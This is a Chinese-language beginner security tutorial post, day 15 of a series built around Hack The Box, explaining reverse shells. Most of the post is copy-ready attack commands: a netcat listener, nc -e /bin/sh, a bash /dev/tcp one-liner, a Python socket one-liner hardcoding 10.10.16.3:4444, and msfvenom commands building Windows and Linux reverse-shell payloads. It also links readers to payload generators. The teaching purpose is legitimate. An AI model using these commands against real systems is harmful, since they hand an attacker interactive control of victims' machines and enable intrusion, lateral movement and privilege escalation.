iT邦幫忙

2023 iThome 鐵人賽

DAY 15
0

前言

Reverse shell主要用意是將目標主機的shell回彈至駭客自己的電腦裡,在取得存取權之後大部分會利用reverse shell繼續之後的動作,例如橫向移動(lateral movement)或是提權(privilege escalation)。

正文

Reverse shell是先由駭客先監聽某個特定的port,接著在受害主機裡輸入指令,讓受害主機主動與駭客的主機連線,駭客就能夠直接輸入指令在目標裡執行。
https://ithelp.ithome.com.tw/upload/images/20230930/20145688aAL9VWFir2.png
由於受害主機能夠執行reverse shell的方法有很多種,這個就不列舉靶機說明,將依照不同語言進行講解。

Step 1. 監聽特定的port

通常駭客所使用的大部分都是kali,因此監聽port的方式大致相同。

nc -lvnp 4444

上列程式碼是監聽駭客主機的port 4444,-l指定為監聽模式,-v指定將結果詳細列出,-n只允許數字的ip位置,ipv6就不接受,-p指定特定的port。

Step 2. 讓受害主機主動對駭客主機發起連線

  • nc
nc [ip] 4444 -e /bin/sh 

如果目標靶機的OS是linux,就也能利用nc對駭客主機連線,且port為4444。-e為前面連線成功後執行的程式,所以當與駭客自己的主機連線成功後,就會執行目標主機的shell。

  • bash
##1.
bash -c "bash -i >&/dev/tcp/[ip]/[port] 0>&1"

##2.
bash -i >&/dev/tcp/[ip]/4444 0>&1

執行上述指令將利用tcp與主機ip為[ip]的port 4444連線,[ip]與[port]須依照主機不同修改。

  • python
python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.3",4444));subprocess.call(["/bin/sh","-i"];stdin=s.fileno();stdout=s.fileno();stderr=s.fileno())' &
  • metasploit
##目標主機為windows系統
msfvenom -p windows/shell_reverse_tcp LHOST=[ip] LPORT=4444 -f exe > reverse.exe

## 目標主機為linux系統
msfvenom -p linux/x86/shell_reverse_tcp LHOST=[ip] LPORT=4444 -f elf >reverse.elf

依據目標主機作業系統不同,也需要不同方式進行reverse shell,windows系統產生exe執行檔,linux系統則是產生elf檔。

除了上述四個方法從被害主機回彈shell至駭客自己的電腦外,還有php、java、golang等,這個網站reverse shell generator能夠幫助你產生paylaod,這個github repo也歸納了許多reverse shell的paylaod。

我的介紹到此,謝謝:)
/images/emoticon/emoticon29.gif

Reference


上一篇
[Day 14] 自動化尋找SQL漏洞-SQLmap(Automatic SQL injection takeover tool-SQLmap)
下一篇
[Day 16]網頁插件分析工具-Wappalyzer (Web plug-ins analyzer-Wappalyzer)
系列文
入門級資安實戰:以Hack The Box為輔學習網路漏洞掃描與利用25
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言